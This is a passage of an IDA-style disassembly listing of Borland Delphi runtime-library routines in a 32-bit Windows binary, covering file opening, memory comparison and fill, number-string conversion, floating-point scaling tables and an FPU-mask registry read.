loc_400033D1:				; CODE XREF: sub_40003390+38j
		mov	eax, ebx
		pop	ebx
		retn
sub_40003390	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400033D8	proc near		; CODE XREF: sub_4000AF68+23p
		mov	edx, [eax+1Ch]
		call	sub_40003390
		retn
sub_400033D8	endp

; ---------------------------------------------------------------------------
		align 4


loc_400033E4:				; DATA XREF: sub_4000347C+Do
		jmp	ds:dword_40024480
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400033EC	proc near		; CODE XREF: sub_4000347C+14p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		mov	eax, [ebp+arg_8]
		movzx	edx, word ptr [ebx+4]
		and	edx, eax
		cmp	eax, edx
		jnz	short loc_40003460
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebx+8]
		imul	esi
		push	eax
		push	edi
		mov	eax, [ebx]
		push	eax
		call	[ebp+arg_4]
		test	eax, eax
		jnz	short loc_4000342E
		call	sub_400011D8	; RtlGetLastWin32Error
		call	sub_40002D7C
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	short loc_4000346F
; ---------------------------------------------------------------------------


loc_4000342E:				; CODE XREF: sub_400033EC+2Fj
		mov	ecx, [ebx+8]
		mov	eax, [ebp+var_4]
		xor	edx, edx
		div	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_4000344C
		mov	eax, [ebp+arg_C]
		mov	edx, [ebp+var_4]
		mov	[eax], edx
		jmp	short loc_4000346F
; ---------------------------------------------------------------------------


loc_4000344C:				; CODE XREF: sub_400033EC+54j
		cmp	esi, [ebp+var_4]
		jz	short loc_4000346F
		mov	eax, [ebp+arg_0]
		call	sub_40002D7C
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	short loc_4000346F
; ---------------------------------------------------------------------------


loc_40003460:				; CODE XREF: sub_400033EC+18j
		mov	eax, 67h
		call	sub_40002D7C
		xor	eax, eax
		mov	[ebp+var_4], eax


loc_4000346F:				; CODE XREF: sub_400033EC+40j
					; sub_400033EC+5Ej ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_400033EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000347C	proc near		; CODE XREF: .itext:40019A30p
					; .itext:40019A56p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	ebx
		push	0D7B2h
		push	offset loc_400033E4
		push	65h
		call	sub_400033EC
		pop	ebx
		pop	ebp
		retn	4
sub_4000347C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000349C	proc near		; CODE XREF: sub_40006350+1Ep
					; sub_40006350+28p ...
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		movzx	eax, word ptr [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_400034DB
		cmp	ax, 0D7B3h
		ja	short loc_400034DB
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_400034C3
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax


loc_400034C3:				; CODE XREF: sub_4000349C+1Ej
		test	esi, esi
		jnz	short loc_400034CE
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax


loc_400034CE:				; CODE XREF: sub_4000349C+29j
		test	esi, esi
		jz	short loc_400034ED
		mov	eax, esi
		call	sub_40002D7C
		jmp	short loc_400034ED
; ---------------------------------------------------------------------------


loc_400034DB:				; CODE XREF: sub_4000349C+Ej
					; sub_4000349C+14j
		cmp	ebx, offset dword_4001C050
		jz	short loc_400034ED
		mov	eax, 67h
		call	sub_40002D7C


loc_400034ED:				; CODE XREF: sub_4000349C+34j
					; sub_4000349C+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4000349C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400034F4	proc near		; CODE XREF: .text:40015A44p
		push	ebx
		movzx	ebx, byte ptr [edx]
		cmp	cl, bl
		jbe	short loc_400034FE
		mov	ecx, ebx


loc_400034FE:				; CODE XREF: sub_400034F4+6j
		mov	[eax], cl
		inc	edx
		inc	eax
		movzx	ecx, cl
		xchg	eax, edx
		call	sub_40002DFC
		pop	ebx
		retn
sub_400034F4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003510	proc near		; CODE XREF: sub_40014F60+1Bp
		push	ebx
		push	esi
		push	ecx
		mov	esi, ecx
		shr	esi, 2
		jz	short loc_40003540


loc_4000351A:				; CODE XREF: sub_40003510+26j
		mov	ecx, [eax]
		mov	ebx, [edx]
		cmp	ecx, ebx
		jnz	short loc_40003567
		dec	esi
		jz	short loc_4000353A
		mov	ecx, [eax+4]
		mov	ebx, [edx+4]
		cmp	ecx, ebx
		jnz	short loc_40003567
		add	eax, 8
		add	edx, 8
		dec	esi
		jnz	short loc_4000351A
		jmp	short loc_40003540
; ---------------------------------------------------------------------------


loc_4000353A:				; CODE XREF: sub_40003510+13j
		add	eax, 4
		add	edx, 4


loc_40003540:				; CODE XREF: sub_40003510+8j
					; sub_40003510+28j
		pop	esi
		and	esi, 3
		jz	short loc_4000357C
		mov	cl, [eax]
		cmp	cl, [edx]
		jnz	short loc_4000357C
		dec	esi
		jz	short loc_40003562
		mov	cl, [eax+1]
		cmp	cl, [edx+1]
		jnz	short loc_4000357C
		dec	esi
		jz	short loc_40003562
		mov	cl, [eax+2]
		cmp	cl, [edx+2]
		jnz	short loc_4000357C


loc_40003562:				; CODE XREF: sub_40003510+3Dj
					; sub_40003510+48j
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40003567:				; CODE XREF: sub_40003510+10j
					; sub_40003510+1Dj
		pop	esi
		cmp	cl, bl
		jnz	short loc_4000357C
		cmp	ch, bh
		jnz	short loc_4000357C
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_4000357C
		cmp	ch, bh


loc_4000357C:				; CODE XREF: sub_40003510+34j
					; sub_40003510+3Aj ...
		pop	esi
		pop	ebx
		retn
sub_40003510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003580	proc near		; CODE XREF: sub_40002540+2Cp
					; sub_40002540+3Ep ...
		cmp	edx, 20h
		mov	ch, cl
		jl	short loc_400035C4
		mov	[eax], cx
		mov	[eax+2], cx
		mov	[eax+4], cx
		mov	[eax+6], cx
		sub	edx, 10h
		fld	qword ptr [eax]
		fst	qword ptr [edx+eax]
		fst	qword ptr [edx+eax+8]
		mov	ecx, eax
		and	ecx, 7
		sub	ecx, 8
		sub	eax, ecx
		add	edx, ecx
		add	eax, edx
		neg	edx


loc_400035B2:				; CODE XREF: sub_40003580+3Cj
		fst	qword ptr [edx+eax]
		fst	qword ptr [edx+eax+8]
		add	edx, 10h
		jl	short loc_400035B2
		ffree	st
		retn
; ---------------------------------------------------------------------------
		align 4


loc_400035C4:				; CODE XREF: sub_40003580+5j
		test	edx, edx
		jle	short nullsub_1
		mov	[edx+eax-1], cl
		and	edx, 0FFFFFFFEh
		neg	edx
		lea	edx, nullsub_1[edx*2]
		jmp	edx
sub_40003580	endp

; ---------------------------------------------------------------------------
		align 4
		mov	[eax+1Ch], cx
		mov	[eax+1Ah], cx
		mov	[eax+18h], cx
		mov	[eax+16h], cx
		mov	[eax+14h], cx
		mov	[eax+12h], cx
		mov	[eax+10h], cx
		mov	[eax+0Eh], cx
		mov	[eax+0Ch], cx
		mov	[eax+0Ah], cx
		mov	[eax+8], cx
		mov	[eax+6], cx
		mov	[eax+4], cx
		mov	[eax+2], cx
		mov	[eax], cx
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000361C	proc near		; DATA XREF: sub_40003644+35o
		push	ebx
		push	esi
		mov	ebx, eax
		mov	word ptr [ebx+4], 0D7B0h
		xor	esi, esi
		mov	eax, [ebx]
		call	sub_4000314C
		test	al, al
		jnz	short loc_4000363D
		call	sub_40002D8C
		mov	esi, 1


loc_4000363D:				; CODE XREF: sub_4000361C+15j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4000361C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003644	proc near		; CODE XREF: sub_40003724+5p
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	ebx, eax
		mov	dx, [eax+4]
		sub	edx, 0D7B0h
		jz	short loc_40003670
		cmp	edx, 3
		ja	loc_40003706
		call	dword ptr [ebx+24h]
		test	eax, eax
		jz	short loc_40003670
		call	sub_40002D7C


loc_40003670:				; CODE XREF: sub_40003644+15j
					; sub_40003644+25j
		mov	word ptr [ebx+4], 0D7B3h
		mov	[ebx+8], esi
		mov	dword ptr [ebx+24h], offset sub_4000361C
		mov	dword ptr [ebx+1Ch], offset sub_4000310C
		cmp	byte ptr [ebx+48h], 0
		jz	short loc_400036ED
		mov	eax, 0C0000000h
		mov	dl, byte_4001A00C
		and	edx, 70h
		shr	edx, 2
		mov	edx, dword_4001A758[edx]
		mov	ecx, 2
		sub	edi, 3
		jz	short loc_400036CF
		mov	ecx, 3
		inc	edi
		jz	short loc_400036CF
		mov	eax, 40000000h
		inc	edi
		mov	word ptr [ebx+4], 0D7B2h
		jz	short loc_400036CF
		mov	eax, 80000000h
		mov	word ptr [ebx+4], 0D7B1h


loc_400036CF:				; CODE XREF: sub_40003644+68j
					; sub_40003644+70j ...
		push	0
		push	80h
		push	ecx
		push	0
		push	edx
		push	eax
		lea	eax, [ebx+48h]
		push	eax
		call	sub_40001148	; CreateFileA


loc_400036E4:				; CODE XREF: sub_40003644+C0j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4000370D
		mov	[ebx], eax
		jmp	short loc_4000371D
; ---------------------------------------------------------------------------


loc_400036ED:				; CODE XREF: sub_40003644+47j
		mov	dword ptr [ebx+24h], offset sub_4000310C
		cmp	edi, 3
		jz	short loc_400036FD
		push	0FFFFFFF6h
		jmp	short loc_400036FF
; ---------------------------------------------------------------------------


loc_400036FD:				; CODE XREF: sub_40003644+B3j
		push	0FFFFFFF5h


loc_400036FF:				; CODE XREF: sub_40003644+B7j
		call	sub_40001160	; GetStdHandle
		jmp	short loc_400036E4
; ---------------------------------------------------------------------------


loc_40003706:				; CODE XREF: sub_40003644+1Aj
		mov	eax, 66h
		jmp	short loc_40003718
; ---------------------------------------------------------------------------


loc_4000370D:				; CODE XREF: sub_40003644+A3j
		mov	word ptr [ebx+4], 0D7B0h
		call	sub_400011D8	; RtlGetLastWin32Error


loc_40003718:				; CODE XREF: sub_40003644+C7j
		call	sub_40002D7C


loc_4000371D:				; CODE XREF: sub_40003644+A7j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40003644	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003724	proc near		; CODE XREF: .itext:400199EBp
		mov	ecx, 3
		call	sub_40003644
		retn
sub_40003724	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003730	proc near		; CODE XREF: sub_40003790+4p

var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	edx
		sub	esp, 14h
		mov	edi, ecx
		mov	esi, eax
		cdq
		xor	eax, edx
		sub	eax, edx
		mov	ecx, 0Ah
		xor	ebx, ebx


loc_40003747:				; CODE XREF: sub_40003730+24j
		xor	edx, edx
		div	ecx
		add	edx, 30h
		mov	[esp+ebx+24h+var_24], dl
		inc	ebx
		test	eax, eax
		jnz	short loc_40003747
		test	esi, esi
		jge	short loc_4000375F
		mov	[esp+ebx+24h+var_24], 2Dh
		inc	ebx


loc_4000375F:				; CODE XREF: sub_40003730+28j
		mov	[edi], bl
		inc	edi
		mov	ecx, [esp+24h+var_10]
		cmp	ecx, 0FFh
		jle	short loc_40003773
		mov	ecx, 0FFh


loc_40003773:				; CODE XREF: sub_40003730+3Cj
		sub	ecx, ebx
		jle	short loc_4000377E
		add	[edi-1], cl
		mov	al, 20h
		rep stosb


loc_4000377E:				; CODE XREF: sub_40003730+45j
					; sub_40003730+56j
		mov	al, [esp+ebx-1]
		mov	[edi], al
		inc	edi
		dec	ebx
		jnz	short loc_4000377E
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40003730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003790	proc near		; CODE XREF: sub_40016CE8+2Ap
		mov	ecx, edx
		xor	edx, edx
		call	sub_40003730
		retn
sub_40003790	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000379C	proc near		; CODE XREF: sub_40007DD4+6p
					; sub_40007DEC+Bp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_40003812
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh


loc_400037AF:				; CODE XREF: sub_4000379C+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_400037AF
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_40003820
		cmp	bl, 2Bh
		jz	short loc_40003822


loc_400037C3:				; CODE XREF: sub_4000379C+89j
		cmp	bl, 24h
		jz	short loc_40003827
		cmp	bl, 78h
		jz	short loc_40003827
		cmp	bl, 58h
		jz	short loc_40003827
		cmp	bl, 30h
		jnz	short loc_400037EA
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_40003827
		cmp	bl, 58h
		jz	short loc_40003827
		test	bl, bl
		jz	short loc_40003808
		jmp	short loc_400037EE
; ---------------------------------------------------------------------------


loc_400037EA:				; CODE XREF: sub_4000379C+39j
		test	bl, bl
		jz	short loc_4000381B


loc_400037EE:				; CODE XREF: sub_4000379C+4Cj
					; sub_4000379C+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_4000381B
		cmp	eax, edi
		ja	short loc_4000381B
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_400037EE


loc_40003808:				; CODE XREF: sub_4000379C+4Aj
		dec	ch
		jz	short loc_40003815
		test	eax, eax
		jge	short loc_40003864
		jmp	short loc_4000381B
; ---------------------------------------------------------------------------


loc_40003812:				; CODE XREF: sub_4000379C+8j
					; sub_4000379C+95j
		inc	esi
		jmp	short loc_4000381B
; ---------------------------------------------------------------------------


loc_40003815:				; CODE XREF: sub_4000379C+6Ej
		neg	eax
		jle	short loc_40003864
		js	short loc_40003864


loc_4000381B:				; CODE XREF: sub_4000379C+50j
					; sub_4000379C+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_40003867
; ---------------------------------------------------------------------------


loc_40003820:				; CODE XREF: sub_4000379C+20j
		inc	ch


loc_40003822:				; CODE XREF: sub_4000379C+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_400037C3
; ---------------------------------------------------------------------------


loc_40003827:				; CODE XREF: sub_4000379C+2Aj
					; sub_4000379C+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_40003812


loc_40003833:				; CODE XREF: sub_4000379C+C0j
		cmp	bl, 61h
		jb	short loc_4000383B
		sub	bl, 20h


loc_4000383B:				; CODE XREF: sub_4000379C+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_4000384E
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_4000381B
		add	bl, 0Ah


loc_4000384E:				; CODE XREF: sub_4000379C+A5j
		cmp	eax, edi
		ja	short loc_4000381B
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_40003833
		dec	ch
		jnz	short loc_40003864
		neg	eax


loc_40003864:				; CODE XREF: sub_4000379C+72j
					; sub_4000379C+7Bj ...
		pop	ecx
		xor	esi, esi


loc_40003867:				; CODE XREF: sub_4000379C+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000379C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40003870	proc near		; CODE XREF: sub_40008B01+58p
					; sub_40008D00+85p
		jmp	sub_40003878
sub_40003870	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003878	proc near		; CODE XREF: sub_40003870j
		push	ebx
		xor	ebx, ebx
		test	eax, eax
		jl	short loc_400038CC
		jz	loc_4000391F
		cmp	eax, 1400h
		jge	loc_40003911
		mov	edx, eax
		and	edx, 1Fh
		lea	edx, [edx+edx*4]
		fld	ds:tbyte_4000392B[ebx+edx*2]
		fmulp	st(1), st
		shr	eax, 5
		jz	short loc_4000391F
		mov	edx, eax
		and	edx, 0Fh
		jz	short loc_400038B9
		lea	edx, [edx+edx*4]
		fld	tbyte ptr ds:byte_40003A61[ebx+edx*2]
		fmulp	st(1), st


loc_400038B9:				; CODE XREF: sub_40003878+33j
		shr	eax, 4
		jz	short loc_4000391F
		lea	eax, [eax+eax*4]
		fld	ds:tbyte_40003AF7[ebx+eax*2]
		fmulp	st(1), st
		jmp	short loc_4000391F
; ---------------------------------------------------------------------------


loc_400038CC:				; CODE XREF: sub_40003878+5j
		neg	eax
		cmp	eax, 1400h
		jge	short loc_4000391B
		mov	edx, eax
		and	edx, 1Fh
		lea	edx, [edx+edx*4]
		fld	ds:tbyte_4000392B[ebx+edx*2]
		fdivp	st(1), st
		shr	eax, 5
		jz	short loc_4000391F
		mov	edx, eax
		and	edx, 0Fh
		jz	short loc_400038FE
		lea	edx, [edx+edx*4]
		fld	tbyte ptr ds:byte_40003A61[ebx+edx*2]
		fdivp	st(1), st


loc_400038FE:				; CODE XREF: sub_40003878+78j
		shr	eax, 4
		jz	short loc_4000391F
		lea	eax, [eax+eax*4]
		fld	ds:tbyte_40003AF7[ebx+eax*2]
		fdivp	st(1), st
		jmp	short loc_4000391F
; ---------------------------------------------------------------------------


loc_40003911:				; CODE XREF: sub_40003878+12j
		fstp	st
		fld	ds:tbyte_40003921[ebx]
		jmp	short loc_4000391F
; ---------------------------------------------------------------------------


loc_4000391B:				; CODE XREF: sub_40003878+5Bj
		fstp	st
		fldz


loc_4000391F:				; CODE XREF: sub_40003878+7j
					; sub_40003878+2Cj ...
		pop	ebx
		retn
sub_40003878	endp

; ---------------------------------------------------------------------------
tbyte_40003921	dt 1.1897314953572317651e4932 ;	DATA XREF: sub_40003878+9Br
tbyte_4000392B	dt 1.0			; DATA XREF: sub_40003878+20r
					; sub_40003878+65r
		align 4
		dd 0
		dd 4002A0h, 0
		dd 5C80000h, 40h, 0
		dd 4008FAh, 0
		dd 0C9C4000h, 40h, 50000000h, 400FC3h, 0
		dd 12F42400h, 40h, 96800000h, 401698h, 0
		dd 19BEBC20h, 40h, 6B280000h, 401CEEh, 0
		dd 209502F9h, 40h, 43B74000h, 4023BAh, 10000000h, 26E8D4A5h
		dd 40h,	84E72A00h, 402A91h, 0F4800000h,	2DB5E620h, 40h
		dd 5FA931A0h, 4030E3h, 0BF040000h, 348E1BC9h, 40h, 0A2BC2EC5h
		dd 4037B1h, 3A764000h, 3ADE0B6Bh, 0E8000040h, 0C7230489h
		dd 403E8Ah, 0C5AC6200h,	41AD78EBh, 7A800040h, 0D726B717h
		dd 4044D8h, 326EAC90h, 48878678h, 57B40040h, 68163F0Ah
		dd 404BA9h, 0CECCEDA1h,	4ED3C21Bh, 1484A040h, 59516140h
		dd 0C8405284h, 0B99019A5h, 55A56FA5h, 200F3A40h, 0CB8F27F4h
		dd 844058CEh, 78F89409h, 5C813F39h, 0B90BE540h,	8F07D736h
		dd 0DF405FA1h, 0CD04674Eh, 62C9F2C9h
		db 40h
byte_40003A61	db 96h			; DATA XREF: sub_40003878+38r
					; sub_40003878+7Dr
		dw 8122h
		dd 6F7C4045h, 9E4065FCh, 0A82B70B5h, 699DC5ADh,	0CFA6D540h
		dd 781F49FFh, 0A340D3C2h, 16C59B14h, 3DEFB3ABh,	0E98CE041h
		dd 0BA47C980h, 0AA41A893h, 2B7FE617h, 12B616A1h, 27556B42h
		dd 70F78D39h, 30427CE0h, 0FFE33CC9h, 0E78A5296h, 0F9DE8E42h
		dd 7EEBFB9Dh, 8C4351AAh, 195C6A2Fh, 0BBD226FCh,	0CCE37643h
		dd 842F29F2h, 0D2442681h, 0DB900Ah, 909FA427h, 0F8AA1744h
		dd 0C5E310AEh, 5944FAC4h, 7E9B09Ch, 64F28A9Ch, 0F7F3D445h
		dd 7A4AE1EBh
		db 95h,	0CFh, 45h
tbyte_40003AF7	dt 9.9999999999999999996e479 ; DATA XREF: sub_40003878+49r
					; sub_40003878+8Er
		db 0C7h, 91h, 0Eh
		dd 19A0AEA6h, 1746A3E3h, 8681750Ch, 48C97675h, 93A7E44Dh
		dd 0B8353B39h, 0E553EDB2h, 5DC53D5Dh, 929E8B3Bh, 0A1F0A65Ah
		dd 0A554C020h, 8B61378Ch, 25D88B5Ah, 0DBF9895Dh, 27F3F867h
		dd 5DC8A2BFh, 9B6E80DDh, 28A2097h, 25C46052h, 0D559F075h
		dd 3511626Eh, 0C37BCAAEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40003B5C	proc near		; CODE XREF: sub_40003B64+5p
					; sub_40003B64+11p
		jmp	ds:dword_400243FC
sub_40003B5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003B64	proc near		; CODE XREF: .itext:4001903Ep
		push	ebx
		xor	ebx, ebx
		push	0
		call	sub_40003B5C	; GetKeyboardType
		cmp	eax, 7
		jnz	short loc_40003B8F
		push	1
		call	sub_40003B5C	; GetKeyboardType
		and	eax, 0FF00h
		cmp	eax, 0D00h
		jz	short loc_40003B8D
		cmp	eax, 400h
		jnz	short loc_40003B8F


loc_40003B8D:				; CODE XREF: sub_40003B64+20j
		mov	bl, 1


loc_40003B8F:				; CODE XREF: sub_40003B64+Dj
					; sub_40003B64+27j
		mov	eax, ebx
		pop	ebx
		retn
sub_40003B64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40003B94	proc near		; CODE XREF: .itext:40019047p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		movzx	eax, word_4001A024
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	0
		push	offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
		push	80000002h
		call	sub_40001240	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40003C0C
		xor	eax, eax
		push	ebp
		push	offset loc_40003C05
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_C], 4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0
		push	offset aFpumaskvalue ; "FPUMaskValue"
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_40001248	; RegQueryValueExA
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40003C0C


loc_40003BFB:				; CODE XREF: sub_40003B94+76j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_40001238	; RegCloseKey
		retn
; ---------------------------------------------------------------------------


loc_40003C05:				; DATA XREF: sub_40003B94+2Eo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40003BFB
; ---------------------------------------------------------------------------


loc_40003C0C:				; CODE XREF: sub_40003B94+29j
					; DATA XREF: sub_40003B94+62o
		movzx	eax, word_4001A024
		and	ax, 0FFC0h
		movzx	edx, word ptr [ebp+var_8]
		and	dx, 3Fh
		or	ax, dx
		mov	word_4001A024, ax
		mov	esp, ebp
		pop	ebp
		retn
sub_40003B94	endp

; ---------------------------------------------------------------------------
aSoftwareBorlan	db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_40003B94+18o
aFpumaskvalue	db 'FPUMaskValue',0     ; DATA XREF: sub_40003B94+4Co
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003C58	proc near		; CODE XREF: sub_400040D8+20p
					; .text:4000445Ep ...
		fninit
		wait
		fldcw	word_4001A024
		retn
sub_40003C58	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40003C64	proc near		; CODE XREF: sub_4000ED90+E2p
					; sub_4000ED90+103p ...
		mov	al, 4
		jmp	sub_40002D50
sub_40003C64	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40003C6C	proc near		; CODE XREF: sub_40002540+28Fp
					; sub_4000ADE0+FFp ...
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, [eax-2Ch]
		xor	ecx, ecx
		mov	cl, [esi]
		inc	ecx
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40003C6C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003C80	proc near		; CODE XREF: sub_40006264p
					; DATA XREF: .text:4000105Co ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40003CB0
		call	sub_40002C20
		mov	edx, eax
		mov	eax, ebx
		call	sub_40003CF4
		pop	ebx
		retn
sub_40003C80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003C9C	proc near		; CODE XREF: sub_4000B204+6p
					; DATA XREF: .text:40001060o ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40003D4C
		mov	eax, ebx
		call	sub_40002C3C
		pop	ebx
		retn
sub_40003C9C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003CB0	proc near		; CODE XREF: sub_40003C80+5p
		add	eax, 0FFFFFFD8h
		mov	eax, [eax]
		retn
sub_40003CB0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003CB8	proc near		; CODE XREF: sub_4000C69C+16p
					; sub_4000C69C+50p ...
		test	dl, dl
		jz	short loc_40003CC4
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_40003CC4:				; CODE XREF: sub_40003CB8+2j
		test	dl, dl
		jz	short locret_40003CD7
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch

locret_40003CD7:			; CODE XREF: sub_40003CB8+Ej
		retn
sub_40003CB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40003CD8	proc near		; CODE XREF: sub_4000C55C+3Dp
					; sub_4000C710+19p ...
		call	sub_40003FD8
		test	dl, dl
		jle	short locret_40003CE6
		call	sub_40003F80

locret_40003CE6:			; CODE XREF: sub_40003CD8+7j
		retn
sub_40003CD8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003CE8	proc near		; CODE XREF: sub_400040D8+11Fj
					; .text:4000429Fj ...
		test	eax, eax
		jz	short locret_40003CF3
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx-4]

locret_40003CF3:			; CODE XREF: sub_40003CE8+2j
		retn
sub_40003CE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40003CF4	proc near		; CODE XREF: sub_40003C80+13p
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	edi, edx
		stosd
		mov	ecx, [ebx-28h]
		xor	eax, eax
		push	ecx
		shr	ecx, 2
		dec	ecx
		rep stosd
		pop	ecx
		and	ecx, 3
		rep stosb
		mov	eax, edx
		mov	edx, esp


loc_40003D12:				; CODE XREF: sub_40003CF4+2Fj
		mov	ecx, [ebx-48h]
		test	ecx, ecx
		jz	short loc_40003D1A
		push	ecx


loc_40003D1A:				; CODE XREF: sub_40003CF4+23j
		mov	ebx, [ebx-24h]
		test	ebx, ebx
		jz	short loc_40003D25
		mov	ebx, [ebx]
		jmp	short loc_40003D12
; ---------------------------------------------------------------------------


loc_40003D25:				; CODE XREF: sub_40003CF4+2Bj
		cmp	esp, edx
		jz	short loc_40003D46


loc_40003D29:				; CODE XREF: sub_40003CF4+50j
		pop	ebx
		mov	ecx, [ebx]
		add	ebx, 4


loc_40003D2F:				; CODE XREF: sub_40003CF4+4Cj
		mov	esi, [ebx+10h]
		test	esi, esi
		jz	short loc_40003D3C
		mov	edi, [ebx+14h]
		mov	[edi+eax], esi


loc_40003D3C:				; CODE XREF: sub_40003CF4+40j
		add	ebx, 1Ch
		dec	ecx
		jnz	short loc_40003D2F
		cmp	esp, edx
		jnz	short loc_40003D29


